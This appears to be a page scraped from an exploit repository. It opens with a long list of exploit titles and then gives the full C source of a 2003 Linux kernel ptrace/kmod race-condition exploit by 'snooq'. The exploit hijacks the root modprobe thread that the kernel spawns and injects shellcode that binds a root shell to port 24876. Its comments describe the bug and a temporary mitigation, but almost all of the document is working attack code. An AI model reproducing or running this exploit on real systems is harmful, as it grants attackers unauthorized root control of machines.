
3 new exploits Mandrake Linux 8.2 - /usr/mail Local Exploit /usr/mail (Mandrake Linux 8.2) - Local Exploit Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Bound Checking Root Exploit (3) Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Bound Checking Local Root Exploit (3) Linux Kernel 2.2 - (TCP/IP Weakness) Exploit Linux Kernel 2.2 - TCP/IP Weakness Spoof IP Exploit CDRecord's ReadCD - Local Root Privileges CDRecord's ReadCD - Local Root Exploit NetBSD FTPd / tnftpd Remote Stack Overflow PoC NetBSD FTPd / Tnftpd - Remote Stack Overflow PoC Linux Kernel <= 2.6.24_16-23 / <= 2.6.28.3 (Ubuntu 8.04/8.10 & Fedora Core 10 x86_64) - set_selection() UTF-8 Off By One Local Exploit Linux Kernel <= 2.6.24_16-23 / <= 2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86_64) - set_selection() UTF-8 Off By One Local Exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - ip_append_data() ring0 Root Exploit (1) Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' ring0 Root Exploit (1) Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation Local Root Exploit (1) Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (1) SimpNews 2.16.2 and Below Multiple SQL Injection Vulnerabilities SimpNews <= 2.16.2 - Multiple SQL Injection Vulnerabilities NetBSD 5.0 and below Hack GENOCIDE Environment Overflow proof of concept NetBSD 5.0 and below Hack PATH Environment Overflow proof of concept NetBSD <= 5.0 - Hack GENOCIDE Environment Overflow proof of concept NetBSD <= 5.0 - Hack PATH Environment Overflow proof of concept Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation Local Root Exploit (2) Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2) Linux Kernel < 2.6.34 (Ubuntu 10.10) - CAP_SYS_ADMIN x86 Local Privilege Escalation Exploit (1) Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Local Privilege Escalation Exploit (1) Linux Kernel < 2.6.34 (Ubuntu 11.10 x86/x64) - CAP_SYS_ADMIN Local Privilege Escalation Exploit (2) Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation Exploit (2) Linux Kernel <= 2.6.37-rc1 - serial_multiport_struct Local Info Leak Exploit Linux Kernel <= 2.6.37-rc1 - serial_multiport_struct Local Information Leak Exploit NetBSD <= 1.3.2_SGI IRIX <= 6.5.1 at(1) NetBSD <= 1.3.2_SGI IRIX <= 6.5.1 at(1) - Exploit NetBSD <= 1.4_OpenBSD <= 2.5_Solaris <= 7.0 profil(2) NetBSD <= 1.4 / OpenBSD <= 2.5 /Solaris <= 7.0 profil(2) - Exploit FreeBSD 3.4/4.0/5.0_NetBSD 1.4 Unaligned IP Option Denial of Service FreeBSD 3.4/4.0/5.0 / NetBSD 1.4 - Unaligned IP Option Denial of Service FreeBSD 2.2-4.2_NetBSD 1.2-4.5_OpenBSD 2.x ftpd glob() Buffer Overflow FreeBSD 2.2-4.2 / NetBSD 1.2-4.5 / OpenBSD 2.x FTPd - glob() Buffer Overflow NetBSD 1.x TalkD User Validation NetBSD 1.x TalkD - User Validation FreeBSD 4.x_NetBSD 1.4.x/1.5.x/1.6_OpenBSD 3 pppd Arbitrary File Permission Modification Race Condition FreeBSD 4.x / NetBSD 1.4.x/1.5.x/1.6 / OpenBSD 3 - pppd Arbitrary File Permission Modification Race Condition Linux Kernel 2.4 - execve() System Call Race Condition PoC Linux Kernel 2.4 - suid execve() System Call Race Condition PoC Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index PoC (1) Linux Kernel 2.4.x / 2.6.x - Bluetooth Signed Buffer Index (Proof of Concept) (1) Linux Kernel < 3.8.9 (x86_64) - perf_swevent_init Local Root Exploit (2) Linux Kernel < 3.8.9 (x86_64) - 'perf_swevent_init' Local Root Exploit (2) NetBSD 3.1 Ftpd and Tnftpd Port Remote Buffer Overflow NetBSD 3.1 FTPd / Tnftpd - Port Remote Buffer Overflow OpenBSD 4.6 and NetBSD 5.0.1 - 'printf(1)' Format String Parsing Denial of Service OpenBSD 4.6 / NetBSD 5.0.1 - 'printf(1)' Format String Parsing Denial of Service Linux Kernel <= 3.2.0-23 / <= 3.5.0-23 (Ubuntu 12.04.0/1/2 x64) - perf_swevent_init Local Root Exploit (3) Linux Kernel <= 3.2.0-23 / <= 3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Root Exploit (3) Mozilla Firefox SeaMonkey <= 3.6.10 and Thunderbird <= 3.1.4 - 'document.write' Memory Corruption Mozilla Firefox SeaMonkey <= 3.6.10 / Thunderbird <= 3.1.4 - 'document.write' Memory Corruption Mozilla Firefox/Thunderbird/SeaMonkey Multiple HTML Injection Vulnerabilities Mozilla Firefox/Thunderbird/SeaMonkey - Multiple HTML Injection Vulnerabilities Linux Kernel <= 3.14.5 (RHEL/CentOS 7) - libfutex Local Root Linux Kernel <= 3.14.5 (RHEL / CentOS 7) - 'libfutex' Local Root Exploit NetBSD 5.1 Multiple 'libc/net' Functions Stack Buffer Overflow NetBSD 5.1 - Multiple 'libc/net' Functions Stack Buffer Overflow VSAT Sailor 900 - Remote Exploit Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow (Proof of Concept) Mac OS X < 10.7.5/10.8.2/10.9.5/10.10.2 - rootpipe Local Privilege Escalation Mac OS X < 10.7.5/10.8.2/10.9.5/10.10.2 - 'rootpipe' Privilege Escalation Apple OS X Entitlements Rootpipe Privilege Escalation Apple OS X Entitlements - 'Rootpipe' Privilege Escalation OS-X/x86-64 - /bin/sh Shellcode - NULL Byte Free (34 bytes) OS-X/x86-64 - /bin/sh Shellcode NULL Byte Free (34 bytes) OS X Install.framework suid root Runner Binary Privilege Escalation OS X Install.framework - suid root Runner Binary Privilege Escalation Linux/MIPS Kernel 2.6.36 NetUSB - Remote Code Execution Exploit Linux/MIPS Kernel 2.6.36 - 'NetUSB' Remote Code Execution Exploit Linux/x86-64 - bindshell (Pori: 5600) shellcode (81 bytes) Linux/x86-64 - bindshell (Port 5600) shellcode (81 bytes) Linux Kernel 4.4.x (Ubuntu 16.04) - double-fdput() in bpf(BPF_PROG_LOAD) Local Root Exploit Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' in bpf(BPF_PROG_LOAD) Local Root Exploit Exim 4 (Debian/Ubuntu) - Spool Local Root Privilege Escalation Exim 4 (Debian / Ubuntu) - Spool Local Privilege Escalation Windows 7-10 and 2k8-2k12 x86/x64 - Secondary Logon Handle Privilege Escalation (MS16-032) Windows 7-10 and 2008-2012 (x86/x64) - Secondary Logon Handle Privilege Escalation (MS16-032) Internet Explorer 11 (on Windows 10) - VBScript Memory Corruption Proof-of-Concept Exploit (MS16-051) Internet Explorer 11 (Windows 10) - VBScript Memory Corruption Proof-of-Concept Exploit (MS16-051) Linux/x86-64 - Syscall Persistent Bind Shell + (Multi-terminal) + Password + Daemon (83_ 148_ 177 bytes) Linux/x86-64 - Syscall Persistent Bind Shell + Multi-terminal + Password + Daemon (83_ 148_ 177 bytes) mail.local(8) (NetBSD) - Local Root Exploit (NetBSD-SA2016-006) Apache 2.4.7 & PHP <= 7.0.2 - openssl_seal() Uninitialized Memory Code Execution
234 lines
6.9 KiB
C
Executable file
234 lines
6.9 KiB
C
Executable file
/*
|
|
source: http://www.securityfocus.com/bid/7112/info
|
|
|
|
A vulnerability has been discovered in the Linux kernel which can be exploited using the ptrace() system call. By attaching to an incorrectly configured root process, during a specific time window, it may be possible for an attacker to gain superuser privileges.
|
|
|
|
The problem occurs due to the kernel failing to restrict trace permissions on specific root spawned processes.
|
|
|
|
This vulnerability affects both the 2.2 and 2.4 Linux kernel trees.
|
|
*/
|
|
|
|
/*
|
|
* Author: snooq [http://www.angelfire.com/linux/snooq/]
|
|
* Date: 10 April 2003
|
|
*
|
|
* Wojciech Purczynski [ cliph@isec.pl ], says (in his code):
|
|
*
|
|
* [quote]
|
|
* This code exploits a race condition in kernel/kmod.c, which creates
|
|
* kernel thread in insecure manner. This bug allows to ptrace cloned
|
|
* process, allowing to take control over privileged modprobe binary.
|
|
* [/quote]
|
|
*
|
|
* For more info: http://www.securiteam.com/unixfocus/5FP0A2K9GQ.html
|
|
*
|
|
* Temp fix --> echo XXX /proc/sys/kernel/modprobe
|
|
*
|
|
* I've seen somewhere... somebody suggested 'chmod 700 /proc' as a quick
|
|
* fix....
|
|
*
|
|
* The truth is... 'chmod 700 /proc' does not close the hole.
|
|
* It merely cripple the exploit... which reads /proc entries
|
|
*
|
|
* The flaw is still exploitable without 'rwx' to /proc..
|
|
*
|
|
* Having said all these craps.... I must say that I'm still a newbie to
|
|
* kernel stuffs.... and I think my code looks really ugly too....
|
|
*
|
|
* so... if you r not happy wif the way I code.. or any suggestions for me..
|
|
* or even flames.... direct them to jinyean_at_hotmail_dot_com
|
|
*
|
|
* Well.. I dun usually do this.. but I will do it this time...
|
|
* Greetz.. my team mates??? Nam, JF & ET?? haha...
|
|
*
|
|
* just wanna thank u for reading these craps..
|
|
* and to ET.. maybe next time.. I could join u as a kernel hacker... =p
|
|
*
|
|
* Notes:
|
|
* ======
|
|
* 1. There are at least 2 versions of exploit out there..
|
|
* ie, Wojciech's and anszom's...
|
|
*
|
|
* 2. The way I exploit it is no diff from both except:
|
|
* -> mine is one attempt per run. Script it, if u need to
|
|
* -> bind port instead of spawn shell..
|
|
* -> dun bother to read /proc entries
|
|
* -> not as feature rich as anszom's
|
|
* -> not as reliable.... etc... etc..
|
|
*
|
|
* 3. I coded this as an exercise.. as a way to learn bout kernel internals
|
|
*
|
|
* 4. Lastly, credits go to Wojciech and anszom.
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <fcntl.h>
|
|
#include <errno.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <signal.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <sys/ptrace.h>
|
|
#include <sys/socket.h>
|
|
#include <linux/user.h> /* For user_regs_struct */
|
|
|
|
#define SIZE (sizeof(shellcode)-1)
|
|
|
|
pid_t parent=0;
|
|
pid_t child=0;
|
|
pid_t k_child=0;
|
|
static int sigc=0;
|
|
|
|
/*
|
|
Port binding shellcode, courtesy of <anszom@v-lo.krakow.pl>
|
|
I just changed the port no..... =p
|
|
*/
|
|
|
|
char shellcode[]=
|
|
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x40"
|
|
"\x50\x40\x50\x8d\x58\xff\x89\xe1\xb0\x66\xcd\x80\x83\xec\xf4\x89"
|
|
"\xc7\x31\xc0\xb0\x04\x50\x89\xe0\x83\xc0\xf4\x50\x31\xc0\xb0\x02"
|
|
"\x50\x48\x50\x57\x31\xdb\xb3\x0e\x89\xe1\xb0\x66\xcd\x80\x83\xec"
|
|
"\xec\x31\xc0\x50\x66\xb8\x61\x2c\xc1\xe0\x10\xb0\x02\x50\x89\xe6"
|
|
"\x31\xc0\xb0\x10\x50\x56\x57\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x83"
|
|
"\xec\xec\x85\xc0\x75\x59\xb0\x01\x50\x57\x89\xe1\xb0\x66\xb3\x04"
|
|
"\xcd\x80\x83\xec\xf8\x31\xc0\x50\x50\x57\x89\xe1\xb0\x66\xb3\x05"
|
|
"\xcd\x80\x89\xc3\x83\xec\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74"
|
|
"\x08\x31\xc0\xb0\x06\xcd\x80\xeb\xdc\x31\xc0\xb0\x3f\x31\xc9\xcd"
|
|
"\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31"
|
|
"\xc0\x50\xeb\x13\x89\xe1\x8d\x54\x24\x04\x5b\xb0\x0b\xcd\x80\x31"
|
|
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe8\xff\xff\xff/bin/sh";
|
|
|
|
void sigchld() {
|
|
sigc++;
|
|
return;
|
|
}
|
|
|
|
void sigalrm() {
|
|
fprintf(stderr,"-> Something wrong and it timeout.\n");
|
|
exit(0);
|
|
}
|
|
|
|
main(int argc, char *argv[]) {
|
|
|
|
int i, error;
|
|
pid_t pid;
|
|
|
|
struct user_regs_struct regs; /* Registers Structure */
|
|
|
|
parent=getpid();
|
|
|
|
switch (pid=fork()) {
|
|
|
|
case -1:
|
|
perror("Can't fork(): ");
|
|
break;
|
|
|
|
case 0: /* Child's thread -- The attacking thread. */
|
|
|
|
child=getpid();
|
|
k_child=child+1; /* Kernel child's PID... Hopefully.. */
|
|
|
|
fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child);
|
|
|
|
fprintf(stderr, "-> Attaching to %d...", k_child);
|
|
|
|
/*
|
|
Trying to attach to the child spawned by the kernel, which has both
|
|
euid and egid set to 0. Child will be sent a SIGSTOP and we, the 'parent',
|
|
will get a SIGCHLD. This process is not immediate. Hence, we need to
|
|
wait before we continue. Otherwise, we will fail controlling the thread.
|
|
*/
|
|
|
|
signal(SIGCHLD,sigchld);
|
|
signal(SIGALRM,sigalrm);
|
|
alarm(10);
|
|
|
|
while ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
|
|
fprintf(stderr, ".");
|
|
}
|
|
|
|
if (error==-1) {
|
|
fprintf(stderr,"-> Unable to attach to %d.\n",k_child);
|
|
exit(0);
|
|
}
|
|
|
|
fprintf(stderr, "\n-> Got the thread!!\n");
|
|
|
|
/*
|
|
Waiting for the firt SIGCHLD, which signals the end of the attaching action.
|
|
*/
|
|
|
|
while(sigc<1);
|
|
|
|
if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) {
|
|
fprintf(stderr,"-> Unable to setup syscall trace.\n");
|
|
exit(0);
|
|
}
|
|
|
|
/*
|
|
The thread is under our control now. Will wail for the next signal
|
|
to inject our own code.
|
|
*/
|
|
|
|
fprintf(stderr,"-> Waiting for the next signal...\n");
|
|
while(sigc<2);
|
|
|
|
if (ptrace(PTRACE_GETREGS,k_child,NULL,®s)==-1) {
|
|
perror("-> Unable to read registers: ");
|
|
}
|
|
|
|
fprintf(stderr, "-> Injecting shellcode at 0x%08x\n",regs.eip);
|
|
|
|
for (i=0; i<=SIZE; i+=4) {
|
|
if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {}
|
|
}
|
|
|
|
fprintf(stderr, "-> Bind root shell on port 24876... =p\n");
|
|
|
|
/*
|
|
All done. It's time to leave 'our' poor child alone.... ;)
|
|
and get ready to kill ourselves...
|
|
*/
|
|
|
|
if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) {
|
|
perror("-> Unable to detach from modprobe thread: ");
|
|
}
|
|
|
|
fprintf(stderr, "-> Detached from modprobe thread.\n");
|
|
fprintf(stderr, "-> Committing suicide.....\n");
|
|
|
|
if (kill(parent,9)==-1) { /* This is really ugly..... */
|
|
perror("-> We survived??!!?? ");
|
|
}
|
|
|
|
/*
|
|
We should be dead by now.
|
|
*/
|
|
|
|
exit(0);
|
|
|
|
break;
|
|
|
|
default: /* Parent's thread -- The vulnerable call */
|
|
|
|
/*
|
|
Now, the parent is requesting a feature in a kernel module.
|
|
Such action will trigger the kernel to spawn a child with
|
|
euid=0, egid=0.... Voila!!!
|
|
|
|
NB: See <linux/socket.h> for more info.
|
|
*/
|
|
signal(SIGALRM,sigalrm);
|
|
alarm(10);
|
|
socket(AF_SECURITY,SOCK_STREAM,1);
|
|
break;
|
|
}
|
|
exit(0);
|
|
|
|
}
|
|
|
|
|